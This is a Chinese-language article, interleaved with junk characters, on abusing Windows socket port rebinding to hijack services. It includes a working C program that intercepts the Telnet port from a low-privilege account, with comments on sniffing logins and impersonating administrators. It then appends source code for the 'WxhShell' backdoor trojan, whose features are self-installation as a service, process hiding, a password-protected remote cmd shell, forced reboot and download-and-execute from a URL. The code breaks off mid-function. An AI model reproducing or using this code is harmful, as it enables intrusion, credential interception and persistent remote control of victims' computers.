在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
W;~^3Hz6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
K._1sOw'"Y @F=ZGmq saddr.sin_family = AF_INET;
_=UXNr8S E IEwrC saddr.sin_addr.s_addr = htonl(INADDR_ANY);
{4}Sl^kn* 6@H&S bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
|8`}yRsQ DSd 5? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
e Yyl=YW zFP}=K:o) 这意味着什么?意味着可以进行如下的攻击:
:eHh } BAzc'x&< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`dEWP;#cp dMRwQejY{7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
CrS[FM= +W 1?7QS\`)fB 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
B^h]6Z/O eFsku8$< 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
oWs&W vFl| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_32ltnBX !Z%QD\knY 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
A.35WGu&: gxU(& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
(>WV) uKpl+> #include
86R}G/>>e #include
q69a-5q #include
eZ}FKg%2[ #include
LwY_6[Ef DWORD WINAPI ClientThread(LPVOID lpParam);
m6lNZb] int main()
JC>}(yQA {
_AVCh)Zb WORD wVersionRequested;
I*K^,XY+ DWORD ret;
YH<@->Ip WSADATA wsaData;
IEC:zmkn BOOL val;
eHqf3f
SOCKADDR_IN saddr;
[jAhw> SOCKADDR_IN scaddr;
cv#H int err;
(O?z6g SOCKET s;
<6v7_ SOCKET sc;
v^,A~oe`t int caddsize;
_NA]=
#J HANDLE mt;
Ta9;;B?$ DWORD tid;
<9@VY wVersionRequested = MAKEWORD( 2, 2 );
$?*+P`` err = WSAStartup( wVersionRequested, &wsaData );
(&njZdcb* if ( err != 0 ) {
lFc3 5 printf("error!WSAStartup failed!\n");
TuaT-Z~U{ return -1;
2cy{d|c }
_r^&.'q saddr.sin_family = AF_INET;
9]AKNQq m >D-$M_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
1$xt=*.u| 0n(Q@O saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
ZQ~? saddr.sin_port = htons(23);
'JkK0a2D if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
i>!f|< {
U(J?Q printf("error!socket failed!\n");
\7og&j-h return -1;
(MxLw:AV }
J~c]9t val = TRUE;
<D&75C# //SO_REUSEADDR选项就是可以实现端口重绑定的
g2iSc if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
(AwbZ n* {
*&5G+d2 printf("error!setsockopt failed!\n");
8,B9y D return -1;
Nc;7KMOIA }
m m`:ci //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
xmVK{Q YT$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
rNgE/=X //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
8|J%IE }>tUkXlhJ< if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
\!w7N
:m {
-nHc52, ret=GetLastError();
i uN8gHx printf("error!bind failed!\n");
08.dV<P return -1;
`
$zi?A:j }
sZB$+~.:} listen(s,2);
c*ytUI* while(1)
>6rPDzW`Dx {
?cpID8Z caddsize = sizeof(scaddr);
!).D //接受连接请求
3}N:oJI$z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
<Ft.{aNq$c if(sc!=INVALID_SOCKET)
,l@hhaLm? {
Uel*:c mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
W6\s@)b; if(mt==NULL)
+'lfW{E1t {
hwC3[' printf("Thread Creat Failed!\n");
$
Q2|{* break;
"`
9W"A= }
xvrCm`3n@ }
<X;y
4lPZ CloseHandle(mt);
u}ab[$Q5 }
X59~)rH, closesocket(s);
szKs9er& WSACleanup();
x$A5Ved return 0;
8E$KR:/:4 }
A4SM@ry DWORD WINAPI ClientThread(LPVOID lpParam)
y#T":jpR {
!5{t1 oJ SOCKET ss = (SOCKET)lpParam;
z{tyB SOCKET sc;
Sc*p7o: A unsigned char buf[4096];
4Ly!:GH3T SOCKADDR_IN saddr;
'zpj_QM long num;
5HJ6[.HO DWORD val;
]54V9l: DWORD ret;
`Th!bk //如果是隐藏端口应用的话,可以在此处加一些判断
_A%z^&k(i //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
%q:V saddr.sin_family = AF_INET;
|yqx
] saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
O(!wDnhc saddr.sin_port = htons(23);
Os[^ch if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|EF*]qI {
*SC~_ printf("error!socket failed!\n");
))k^7g9M` return -1;
/@% }
M)-+j{< val = 100;
w#-rl@JQ4 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
MMcHzRF {
GJH6b7I ret = GetLastError();
#n0P'@d,r return -1;
`U?;9!|;6 }
`cf&4Hn if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|\,e9U> {
}rOO[,?Y ret = GetLastError();
k^ID return -1;
oOSw>23x }
sLB{R#Pt if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
;pC-0m0Y {
]Nm_<%lT printf("error!socket connect failed!\n");
{mI95g& closesocket(sc);
E8)C_[QJ` closesocket(ss);
s>_n e0 return -1;
FIW*Nr }
dGHRHXi while(1)
YSeXCJ:Iy {
8)M .W //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
^i@t OtS //如果是嗅探内容的话,可以再此处进行内容分析和记录
C}W/9_I6Uo //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
B Q".$(c
q num = recv(ss,buf,4096,0);
"X}!j>- if(num>0)
[}+
MZ send(sc,buf,num,0);
UWmWouA else if(num==0)
8R-?x/: break;
tl0_as
num = recv(sc,buf,4096,0);
\N7
E!82 if(num>0)
b vUYLWzS send(ss,buf,num,0);
h-#Glse< else if(num==0)
y37n~~% break;
]D(%Ku,O% }
DBVe69/S closesocket(ss);
@(oz`|* closesocket(sc);
8l)^#"ySA return 0 ;
$ V}s3 }
.D>%- \@tt$ m% f{ENSUtCrR ==========================================================
Elm/T]6 O cm 下边附上一个代码,,WXhSHELL
=|am=Q?Q +D$\^ <# ==========================================================
X0p=jBye~> <.RgMPi #include "stdafx.h"
r;}kw(ukC a i}8+L8- #include <stdio.h>
0* ,r #include <string.h>
z<s]Z #include <windows.h>
pbju;h)O!| #include <winsock2.h>
J/ <[irC #include <winsvc.h>
E!jM&\Z j #include <urlmon.h>
H|Q)Tp Lk |A}E/=HPU #pragma comment (lib, "Ws2_32.lib")
p Sc<3OI #pragma comment (lib, "urlmon.lib")
vek9. 4! ] >fQ-(io #define MAX_USER 100 // 最大客户端连接数
}1Q]C"hY #define BUF_SOCK 200 // sock buffer
&Zq43~ #define KEY_BUFF 255 // 输入 buffer
l[rIjyL@ EPdR-dC^wE #define REBOOT 0 // 重启
jC <<S #define SHUTDOWN 1 // 关机
[u/g =^+u kS3wa3bT #define DEF_PORT 5000 // 监听端口
O`~T:N|D +KXg&A/^ #define REG_LEN 16 // 注册表键长度
Q4q3M=0 #define SVC_LEN 80 // NT服务名长度
Oh-HfJyi Vcc/ // 从dll定义API
lSl=6R typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
> : \lDz typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
^!N _Nx/M typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
6z!?U:bT typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Zwp*JH+G RLecKw&1{3 // wxhshell配置信息
VA.:'yQtJ struct WSCFG {
vM|?;QM int ws_port; // 监听端口
n%W~+ char ws_passstr[REG_LEN]; // 口令
gb8nST$r int ws_autoins; // 安装标记, 1=yes 0=no
>wz-p
nD char ws_regname[REG_LEN]; // 注册表键名
3`Y char ws_svcname[REG_LEN]; // 服务名
]J:?@}\^ char ws_svcdisp[SVC_LEN]; // 服务显示名
-=O9D-x= char ws_svcdesc[SVC_LEN]; // 服务描述信息
`'.u$IBW char ws_passmsg[SVC_LEN]; // 密码输入提示信息
w\s$ int ws_downexe; // 下载执行标记, 1=yes 0=no
l9?]t; char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
!,INrl[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
d;V KS3
/ };
YD7i6A q"`1cFD // default Wxhshell configuration
Y7]N.G3,] struct WSCFG wscfg={DEF_PORT,
vvFXdHP "xuhuanlingzhe",
ZKPnvL70 1,
fqFE GyeNr "Wxhshell",
)m
\}ITf "Wxhshell",
w/E4wp "WxhShell Service",
J{\S+O2,* "Wrsky Windows CmdShell Service",
|OhNQoTY "Please Input Your Password: ",
Xn9TQ"[4 1,
C] \r~f "
http://www.wrsky.com/wxhshell.exe",
]X;Ty\UD& "Wxhshell.exe"
_U%!&_m6 };
?VO*s-G:J M*}C.E! // 消息定义模块
pZ%/;sxYa char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
asmMl9)(` char *msg_ws_prompt="\n\r? for help\n\r#>";
T6%*t#8r char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
D=o9+5Slw char *msg_ws_ext="\n\rExit.";
C3hnX2"; char *msg_ws_end="\n\rQuit.";
,]42v? char *msg_ws_boot="\n\rReboot...";
HE7JQP!q char *msg_ws_poff="\n\rShutdown...";
gO1`zP!9Z char *msg_ws_down="\n\rSave to ";
_
B",? } (]vHW+' char *msg_ws_err="\n\rErr!";
KP -g<Zc char *msg_ws_ok="\n\rOK!";
)9{?C4NQ K/
I3r_ char ExeFile[MAX_PATH];
!7P 1%/ int nUser = 0;
fp|b@ HANDLE handles[MAX_USER];
d&PXJ
int OsIsNt;
r,!7TuBl B&+V %~/
SERVICE_STATUS serviceStatus;
-Q<3Q_ SERVICE_STATUS_HANDLE hServiceStatusHandle;
]?/[& PP, G!L=W#{ // 函数声明
HBV~`0O$ int Install(void);
p4bQCI int Uninstall(void);
&5)Kg%r int DownloadFile(char *sURL, SOCKET wsh);
bJmVq%>; int Boot(int flag);
9{^:+r void HideProc(void);
+_3>T''_ int GetOsVer(void);
ePP-&V"`" int Wxhshell(SOCKET wsl);
#Kn=Q void TalkWithClient(void *cs);
4\Mh2z5 int CmdShell(SOCKET sock);
>-c ; int StartFromService(void);
v|<Dc8i+ int StartWxhshell(LPSTR lpCmdLine);
\[%[`m /}]X3ng VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
QjVP]C}p VOID WINAPI NTServiceHandler( DWORD fdwControl );
@;"HslU\Q O}*[@uv/ // 数据结构和表定义
^mm:u<Yt SERVICE_TABLE_ENTRY DispatchTable[] =
oJvF)d@gU {
+8]}'6m {wscfg.ws_svcname, NTServiceMain},
-A[iTI" {NULL, NULL}
v@&&5J| };
ijw'7d|, [^A 93F // 自我安装
{ckA int Install(void)
QA+qFP {
gmJiKuAL5 char svExeFile[MAX_PATH];
3^xTZ*G HKEY key;
k?o(j/ strcpy(svExeFile,ExeFile);
Azxy!gDT" IwiR2K // 如果是win9x系统,修改注册表设为自启动
B!jT@b{ if(!OsIsNt) {
+D&W!m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
EXK~Zf|&Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
L ![b f5T RegCloseKey(key);
X48Q{E+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`[0.G0i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=.#*MYB.l RegCloseKey(key);
4xjk^N9 return 0;
vHCz_ FV }
Q>cLGdzO }
wwF]+w%lOw }
A84I*d else {
@f-0OX$* u0^GB9q // 如果是NT以上系统,安装为系统服务
M@[{j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
hug8Hhf_& if (schSCManager!=0)
Q4JwX=ZVj {
5#p [Q _ SC_HANDLE schService = CreateService
.36z (
C%85Aq* 4 schSCManager,
T+8F'9i` wscfg.ws_svcname,
O{y2tz3 wscfg.ws_svcdisp,
~3dBt@%0 SERVICE_ALL_ACCESS,
|
y\B*P SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
MS%xOB*6 SERVICE_AUTO_START,
Q|rrbx b SERVICE_ERROR_NORMAL,
DI'wZySS^ svExeFile,
Y? =+A4v NULL,
8sOM%y9M NULL,
?_3K]i1IS NULL,
40<ifz[7 NULL,
/0>Cy\eN0 NULL
MoIVval/ );
RAxAy{ if (schService!=0)
CTv-$7# {
9s5gi+l_O CloseServiceHandle(schService);
B8NOPbT CloseServiceHandle(schSCManager);
#G:~6^A strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
2VyLt=mdh strcat(svExeFile,wscfg.ws_svcname);
f*04=R?w7> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
H,9e<x#own RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;,}tXz RegCloseKey(key);
J GnL[9P_ return 0;
n a])bBn }
d nWh}! }
c!AGKc CloseServiceHandle(schSCManager);
gmB?L0UV }
`PnB<rf:*1 }
D0/ \ NYz{[LM return 1;
e*;-vS9H }
7_)'Re# CS"2Sd 1` // 自我卸载
y+\nj3v6 int Uninstall(void)
@[D-2s {
eVL'Ao&Ho HKEY key;
M]oO1GM 3de<H=H' if(!OsIsNt) {
+]*4!4MK6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
t5G@M&d4Eo RegDeleteValue(key,wscfg.ws_regname);
;>{BK, RegCloseKey(key);
V)V\M6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
c~[L;_ RegDeleteValue(key,wscfg.ws_regname);
ZP61T*n RegCloseKey(key);
w&:"x@ -| return 0;
Gt{~u^< }
!>W _3Ea }
w+(bkqz] }
s"#>Xc else {
g|tnYN nKC$
KC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
>_XRh if (schSCManager!=0)
B v/]>Z {
Rb\M63q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
h1} x2 if (schService!=0)
>y#<WB$i {
T B~C4H K= if(DeleteService(schService)!=0) {
c7.%Bn, CloseServiceHandle(schService);
}A;J-7g6 CloseServiceHandle(schSCManager);
B@D3aOvO return 0;
y((I2g1rv }
Rm`_0}5 CloseServiceHandle(schService);
N1`/~Gi }
H]K(`)y}4 CloseServiceHandle(schSCManager);
Q"n|<!DN }
(E )@@p7,: }
`j{5$X 9IZ}}x return 1;
UmZ#Cm }
ig3HPlC | z=:D*uh~ // 从指定url下载文件
vzA)pB~; int DownloadFile(char *sURL, SOCKET wsh)
_PZGns,u {
*oqQ=#\ HRESULT hr;
m~mw1r char seps[]= "/";
J=|PZ2" char *token;
{>'GE16x char *file;
@eu4W^W char myURL[MAX_PATH];
6a51bj!f char myFILE[MAX_PATH];
|{udd~oE& gZF-zhnC strcpy(myURL,sURL);
GawQ~rD token=strtok(myURL,seps);
tP8>0\$) while(token!=NULL)
CqOvVv {
^=Q/H file=token;
`Nmw token=strtok(NULL,seps);
H5j6$y|I|N }
E
Mq P b"n0Yk1 GetCurrentDirectory(MAX_PATH,myFILE);
H`|8x4 strcat(myFILE, "\\");
{Hg.ctam strcat(myFILE, file);
i_8v >F send(wsh,myFILE,strlen(myFILE),0);
Q{1Q w'+@ send(wsh,"...",3,0);
NK.] yw' hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
\7o&'zEw if(hr==S_OK)
9}LcJ return 0;
P0,@#M& else
L q<# return 1;
Ib3n%AG 1S
.~Vh0Q, }
T9N][5 \ yXyL,R // 系统电源模块
Wv!#B$J~U int Boot(int flag)
[S;ceORx {
w ;+x g HANDLE hToken;
1'ts>6b TOKEN_PRIVILEGES tkp;
+Q pgG4h n?'I&0>M if(OsIsNt) {
1 ~fD: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
y}Ji( q~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
1h_TG.YL9> tkp.PrivilegeCount = 1;
IJ >qs8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
nKpXRuFn\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
foO/Yc if(flag==REBOOT) {
%i[G6+- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
d^AXhQjQN- return 0;
\>,[5|GU }
&p|+K
XIf else {
tP/0_^m if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
b?S,% return 0;
*l\wl @{ }
OI:G~Wg }
?Vg251-H else {
jNRR=0 if(flag==REBOOT) {
&5k$v^W5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
HoE@t-S return 0;
5eS0
B{,c }
CWF(OMA else {
;nS.t_UW. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
gp@X(d return 0;
tgk] sQY }
aTXmF1_n }
R.nAD{>h* !V/Vy/'`* return 1;
~^Ceru"< }
mmSC0F oN3DM; // win9x进程隐藏模块
oY)xXx void HideProc(void)
APye {
|7XPu V
,#
|\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
UYOveQ; if ( hKernel != NULL )
rvPY {
.tRp pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?w/i;pp<, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
V\Q=EsHj
FreeLibrary(hKernel);
8<0~j }
F_C7S P D,s,A return;
\_GG6 }
Vz4/u|gt ,v^A;,q // 获取操作系统版本
{nQ?+o3 int GetOsVer(void)
5pC+*n. {
zoh%^8?o OSVERSIONINFO winfo;
w~+C.4=7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
/?(\6Z_A GetVersionEx(&winfo);
47<fg&T if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
R
-#40 return 1;
.5?e)o) else
^~dBO%M^ return 0;
d `eX_] Z }
b({K6#?'[ S1d^mu // 客户端句柄模块
8/i];/,v*M int Wxhshell(SOCKET wsl)
&oJ1v<` {
5f#N$mh SOCKET wsh;
2lb HUK struct sockaddr_in client;
X%>nvp DWORD myID;
-q&K9ZCl` r^g"%nq9/ while(nUser<MAX_USER)
9K4]~_%h\ {
x`3F?[#l int nSize=sizeof(client);
ab-z 7g wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
`#g62wb,HY if(wsh==INVALID_SOCKET) return 1;
~-J!WC==U d+m}Z>iQ1O handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
}Mv$Up if(handles[nUser]==0)
u)X]]6YJ closesocket(wsh);
:ebu8H9f% else
#aHJ|[[(n nUser++;
frh!dN
}
'?gF9: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Qq7%{`<} LdH23\ return 0;
U))2?# }
#B$r|rqamq J=l\t7w // 关闭 socket
:abpht void CloseIt(SOCKET wsh)
>Tf <8r, {
Hoj'zY closesocket(wsh);
+hZ{/ nUser--;
ByU&fx2Z ExitThread(0);
Kb$6a'u7 }
L>3- z>u, ;#/Uo8 // 客户端请求句柄
/l%+l@ void TalkWithClient(void *cs)
w/49O;r V {
m=K46i+NE +|K/*VVn` SOCKET wsh=(SOCKET)cs;
[gkOwU=? char pwd[SVC_LEN];
Zws[C char cmd[KEY_BUFF];
|a|##/ char chr[1];
S Boi| int i,j;
0F5QAR
O a#pM9n~a while (nUser < MAX_USER) {
-J&
b~t@ W Te1E, M if(wscfg.ws_passstr) {
AqZ()p*z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)x<oRHx] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)k~{p;Ke //ZeroMemory(pwd,KEY_BUFF);
1m{c8Z.h/d i=0;
dq4t@:\o0 while(i<SVC_LEN) {
O>c2*9PM SB)Hz8< // 设置超时
hpBn_ fd_set FdRead;
A+QOox]< struct timeval TimeOut;
Io*mFa? FD_ZERO(&FdRead);
~a ]R7X7 FD_SET(wsh,&FdRead);
.-mlV ^ TimeOut.tv_sec=8;
9Od|R"aS| TimeOut.tv_usec=0;
qmF+@R&^i int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
.L=C7 w1 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
=7vbcAJ\ D,,$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
!h.bD/?K pwd
=chr[0]; CBu$8]9=
if(chr[0]==0xd || chr[0]==0xa) { ba"_!D1
pwd=0; H1or,>GoO
break; +ab#2~,)
} 4|INy=<"t
i++; gk^`-`P
} b8O }XB
1,Uf-i
// 如果是非法用户,关闭 socket C'&t@@:
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w:|YOeP
} b/g~;| <
XTKAy;'5
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k%K\~U8"
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UNhM:!A
# n\|Q\W
while(1) { )uK Tf=;
VD0U]~CWR
ZeroMemory(cmd,KEY_BUFF); , 9"A"p*R
sOBuJx${m
// 自动支持客户端 telnet标准 q +*>T=k
j=0; KrqO7
while(j<KEY_BUFF) { ApotRr$)
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ( jtkY_
cmd[j]=chr[0]; @ sG5Do
if(chr[0]==0xa || chr[0]==0xd) { zz[[9Am!
cmd[j]=0; <;q)V%IUz
break; 2O+fjs
} <,+6:NmT
j++; m'"Ra-
} FZ@8&T
G_5E#{u
// 下载文件 1vL$k[^&d
if(strstr(cmd,"http://")) { G1S:hw%rp
send(wsh,msg_ws_down,strlen(msg_ws_down),0); lFc4| _c g
if(DownloadFile(cmd,wsh)) z\6/?5D#v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L.$+W}
else kT,2eel
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1g1gu=|Q
} B[{Ie
G'
else { ;o?Wn=J
l
EsE]f
switch(cmd[0]) { I%#
e\
n,o;:c
// 帮助 idGhWV'
case '?': { J%ue{PL7
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ku<_N]9
break; &k0c|q]
} gt:Ot0\7
// 安装 (IIOVv
1J
case 'i': { P#x]3j]
if(Install()) yL%k5cO$N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }c;h:CE#
else bl-t>aO*.V
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :taRCh5
break; [.*o<
KP
} P(XNtQ= K
// 卸载 qkh.?~
case 'r': { 0ZpWfL
if(Uninstall()) ^J7g)j3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ko<VB#pOMr
else d){Al(/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *N?y <U
break; ; J40t14u
} V[BlT|t
// 显示 wxhshell 所在路径 dD}!E
case 'p': { #zv'N
char svExeFile[MAX_PATH]; 8-
]7>2?_
strcpy(svExeFile,"\n\r"); (??|\
&DTi
strcat(svExeFile,ExeFile); sow/JLlbC
send(wsh,svExeFile,strlen(svExeFile),0); &`A2&mZ
break; \`: LPe
} ICI8xP}a?
// 重启 *S>,5R0k
case 'b': { fP
5!`8
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?.&?4*u
if(Boot(REBOOT)) tmf=1M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k.CHMl]
else { > [|SF%
closesocket(wsh); s7#|'jhZt
ExitThread(0); DozC>
} uyDYS
break; M"$TXXe
} ;r
XhK$
// 关机 %D:5 S?{
case 'd': { 4uUR2J
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hhvP*a_J
if(Boot(SHUTDOWN)) -!p-nk@9|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v__;oqN0
else { :j m|)
closesocket(wsh); 7OOod1
ExitThread(0); tHo0q<.oX
} 5`3f"(ay/
break; %1p4K)
} Pf]O'G&F
// 获取shell 4MOA}FZ~
case 's': { ,.+"10=N.
CmdShell(wsh); D3emO'`gQ
closesocket(wsh); vDAv/l9
ExitThread(0); pY9>z;qD
break; o )
FjWf;
} TAt9+\'
// 退出 ,`JXBI~
case 'x': { oFeflcSz
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B<Ynx_95
CloseIt(wsh); V-(LHv
break; 8@a|~\3-
} ljrA^P,>P
// 离开 ?ixzlDto\
case 'q': { ;Q.g[[J/p
send(wsh,msg_ws_end,strlen(msg_ws_end),0); {@u}-6:wAT
closesocket(wsh); m 5NF)eL
WSACleanup(); &sx|sLw)
exit(1); |k4ZTr]?
break; q61
rNOw_
} =w.#j-jR
} aUy=D:\
} OQh36BM
r4xq%hy
// 提示信息 B&m?3w
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6YZ&>`a^
} ,b@0Qa"
} /m;w~-N
Vy:ER
return; NB&u^8b
} | We @p
'ga1SbA]
// shell模块句柄 1*x4T%RF$
int CmdShell(SOCKET sock) +Hb6j02#
{ G\H@lFh
STARTUPINFO si; @$79$:q N
ZeroMemory(&si,sizeof(si)); 4[!&L:tR
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x./jTebeO
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ma
}Y\(38
PROCESS_INFORMATION ProcessInfo; 2/BFlb
char cmdline[]="cmd"; #1zWzt|DW
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _+8$=k2nM
return 0; }#
-N7=h
} uBks#Y*3$
^tuJM:
// 自身启动模式 ANCgch\
int StartFromService(void) {Pg7IYjH
{ V]PTAhc
typedef struct $XI5fa4Tt
{ pKMf#)qm
DWORD ExitStatus; 7@vcQv
kC
DWORD PebBaseAddress; *k'9 %'<
DWORD AffinityMask; w'5~GhnP+
DWORD BasePriority; xL>0&R
ULONG UniqueProcessId; =I/J !}.
ULONG InheritedFromUniqueProcessId; ZF;S}1
} PROCESS_BASIC_INFORMATION; vfegIoZ
2+GF:[$
